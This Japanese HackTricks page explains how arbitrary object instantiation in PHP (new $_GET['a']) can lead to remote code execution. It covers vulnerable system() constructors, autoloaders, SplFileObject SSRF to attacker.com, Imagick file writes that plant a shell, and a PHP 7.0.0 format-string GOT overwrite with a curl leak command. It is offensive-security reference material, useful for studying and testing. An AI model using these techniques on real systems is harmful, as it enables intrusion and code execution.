PHP - RCE abusing object creation: new $_GET"a"

Reading time: 9 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

これは基本的に https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/ の要約です

はじめに

new $_GET["a"]($_GET["a"]) のような任意のオブジェクトの生成は Remote Code Execution (RCE) を引き起こす可能性があり、詳細は writeup に記載されています。 このドキュメントでは RCE を達成するためのさまざまな戦略を紹介します。

RCE via Custom Classes or Autoloading

new $a($b) という構文はオブジェクトをインスタンス化するために使用され、$a はクラス名を、$b はコンストラクタに渡される最初の引数を表します。これらの変数は GET/POST のようなユーザー入力から取得され、文字列や配列である場合があり、JSON から来る場合は他の型として現れることがあります。

以下のコードスニペットを考えてください:

php
class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

この例では、$aApp または App2 に、$b をシステムコマンド(例: uname -a)に設定すると、そのコマンドが実行されます。

Autoloading functions は、そのようなクラスに直接アクセスできない場合に悪用できます。これらの関数は必要に応じてファイルからクラスを自動的に読み込み、spl_autoload_register または __autoload を使って定義されます:

php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

The behavior of autoloading varies with PHP versions, offering different RCE possibilities.

RCE via Built-In Classes

カスタムクラスやオートローダーがない場合、built-in PHP classes だけで RCE が可能な場合があります。これらのクラス数は PHP のバージョンや拡張により 100〜200 程度で変動します。get_declared_classes() で一覧化できます。

注目すべきコンストラクタは reflection API を使って特定できます。以下の例とリンク https://3v4l.org/2JEGF を参照してください。

RCE via specific methods includes:

SSRF + Phar Deserialization

SplFileObject クラスはそのコンストラクタを介して SSRF を引き起こすことができ、任意の URL への接続を許可します:

php
new SplFileObject('http://attacker.com/');

SSRFは、Pharプロトコルを使用してPHP 8.0未満のバージョンでdeserialization attacksを引き起こす可能性があります。

Exploiting PDOs

PDOクラスのコンストラクタは、DSN文字列を介してデータベースへの接続を許可し、潜在的にファイル作成やその他の操作を可能にします:

php
new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

PHP の 5.3.22 および 5.4.12 までのバージョンは、libxml2 のバージョンに依存して、SoapClientSimpleXMLElement コンストラクタを通した XXE 攻撃の影響を受けやすい状態でした。

RCE via Imagick Extension

プロジェクトの依存関係を解析したところ、Imagick が新しいオブジェクトのインスタンス化によって command execution に利用できることが判明しました。これは脆弱性を突く機会を提供します。

VID parser

VID parser がファイルシステム上の任意のパスへ内容を書き込める機能を持つことが確認されました。これにより、web アクセス可能なディレクトリに PHP シェルを配置して Remote Code Execution (RCE) を達成することが可能になります。

VID Parser + File Upload

PHP はアップロードされたファイルを一時的に /tmp/phpXXXXXX に保存することに注意してください。Imagick の VID parser は msl プロトコルを使用し、ファイルパスのワイルドカードを扱えるため、一時ファイルを任意の場所へ移動させることができます。この手法はファイルシステム内での任意のファイル書き込みを達成するための別のアプローチを提供します。

PHP Crash + Brute Force

original writeup に記載された手法では、削除前にサーバをクラッシュさせるファイルをアップロードすることが説明されています。テンポラリファイル名をブルートフォースすることで、Imagick が任意の PHP コードを実行できるようになる可能性があります。ただし、この手法は古いバージョンの ImageMagick でのみ有効であることが判明しました。

Format-string in class-name resolution (PHP 7.0.0 Bug #71105)

ユーザ入力がクラス名を制御する場合(例: new $_GET['model']())、PHP 7.0.0 の Throwable リファクタ中に一時的なバグが導入され、エンジンがクラス名を解決する際に誤って printf のフォーマット文字列として扱ってしまうことがありました。これにより、PHP 内で古典的な printf スタイルのプリミティブが利用可能になります:leaks with %p、幅指定子による書込カウント制御、そして in-process ポインタ(例えば ELF ビルドの GOT エントリ)に対する %n を使った arbitrary writes が可能になります。

最小再現の脆弱なパターン:

php
<?php
$model = $_GET['model'];
$object = new $model();

エクスプロイトの概要(参照より):

  • クラス名に %p を含めてアドレスを leak し、書き込み可能なターゲットを見つける:
bash
curl "http://host/index.php?model=%p-%p-%p"
# Fatal error includes resolved string with leaked pointers
  • 位置指定パラメータと幅指定子を使って正確なバイト数を設定し、%n でその値を書き込み、スタック上の到達可能なアドレスに書き込む。GOT スロット(例: free)を狙い、一部上書きして system にする。
  • シェルのパイプを含むクラス名を渡してハイジャックした関数をトリガーし、system("id") を呼び出す。

注意:

  • PHP 7.0.0 のみで動作(バグ #71105);後続のリリースで修正済み。重大度: critical(任意のクラスインスタンス化が存在する場合)。
  • 典型的なペイロードはスタックをトレースするために多数の %p を連結し、その後 %.<width>d%<pos>$n を使って部分上書きを行う。

参考

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする